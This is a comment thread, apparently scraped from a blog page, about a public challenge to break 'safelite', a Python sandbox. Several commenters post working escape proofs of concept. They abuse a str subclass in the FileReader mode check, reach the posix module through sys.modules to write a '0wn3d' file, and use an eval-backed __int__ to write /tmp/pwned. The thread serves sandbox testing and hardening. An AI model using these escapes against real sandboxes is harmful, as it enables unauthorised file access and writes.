-
Website
http://tav.espians.com/ -
Original page
http://www.asktav.com/a-challenge-to-break-python-security.html -
Subscribe
All Comments -
Community
-
Top Commenters
-
stayce
1 comment · 1 points
-
Wybo_Wiersma
1 comment · 1 points
-
chenz
1 comment · 1 points
-
holgerkrekel
1 comment · 1 points
-
Philip Hofstetter
2 comments · 2 points
-
-
Popular Threads
from safelite import FileReader
class LoopStr(str):
def __init__(self, val):
self._vals = val.split(",")
def __str__(self):
ret = self._vals.pop(0)
self._vals.append(ret)
return ret
def __repr__(self):
ret = self._vals.pop(0)
self._vals.append(ret)
return ret
def __eq__(self, other):
return str.__eq__(self.__str__(), other)
def __ne__(self, other):
return str.__ne__(self.__str__(), other)
foo = FileReader("/tmp/gotcha", mode = LoopStr("r,w"))
Still only lets you create the file, looks like that still doesn't get a way to put contents in it...
class S(str):
def __eq__(self,o): return 'r'==o
def __str__(self): return self
f=FileReader('0wn3d', S('w'))
Will create an empty file, as before.
if mode=='rb':
mymode='rb'
elif mode=='rU':
mymode='rU'
else:
mymode='r'
and then do the open with mymode, which you know YOU set.
And once we've got a comprehensive list of known exploits, work can finally begin on that front.
I'd argue that, following the "default deny" principle, you ought to block compile() for the first version of safelite. I wrote a longer note providing explanation and justification, but it was eaten by Paul's blog. I'll wait to write a longer explanation until I know that the blog is working and accepts anonymous posts.
Yeah, I had the same problem with Blogger -- its captcha service was buggered in Firefox -- even when trying to post as a Blogger user. I tried with Safari and it worked fine...
As for removing ``compile``, I'd really be interested to know your thoughts/justification... it is the approach that I've currently gone for [since it was the simplest to implement] -- but I am not totally sure about it.
If someone can somehow get at a Code object, then they can still exploit it. I'm looking through the Python source code to see where else code objects are returned from -- the obvious places like FunctionType.func_code and GeneratorType.gi_code have already been removed... would be good to know for sure =)
He constructed a nifty function with custom bytecode which was able to grab traceback objects off of the
stack...
I summarised it in this post to Python-Dev: http://mail.python.org/pipermail/python-dev/200...
Paul has also written a detailed blog post on: http://thepaulprog.blogspot.com/2009/02/safelit...
Sorry to everyone about the blog being broken. I'll try to figure out what's wrong.
Yes I have. What I agree should be banned is calling the code object constructor. But otherwise code objects are quite harmless, unless they contain secrets literals, which is perhaps fun as an example but not realistic.
>>> import safelite
>>> posix = safelite.sys.modules['posix']
>>> fd = posix.open('0wn3d', posix.O_CREAT | posix.O_WRONLY)
>>> posix.write(fd, 'w00t\n')
5
>>> posix.close(fd)
>>>
$ cat 0wn3d
w00t
As for CPython, I'd never trust what you're trying to do.
$ python
Python 2.6 (trunk:66717, Oct 1 2008, 20:48:36)
[GCC 4.0.1 (Apple Inc. build 5465)] on darwin
Type "help", "copyright", "credits" or "license" for more information.
>>> from safelite import FileReader
>>> class S(str):
... __int__ = property(eval)
...
>>> f = FileReader('/etc/passwd')
>>> f.read(S('lambda:sys.stdin.__class__("/tmp/pwned","w").write("Yay!\\n")'))
Traceback (most recent call last):
File "<stdin>", line 1, in <module>
File "safelite.py", line 210, in read
return fileobj.read(bufsize)
TypeError: nb_int should return int object
>>>
$ cat /tmp/pwned
Yay!
$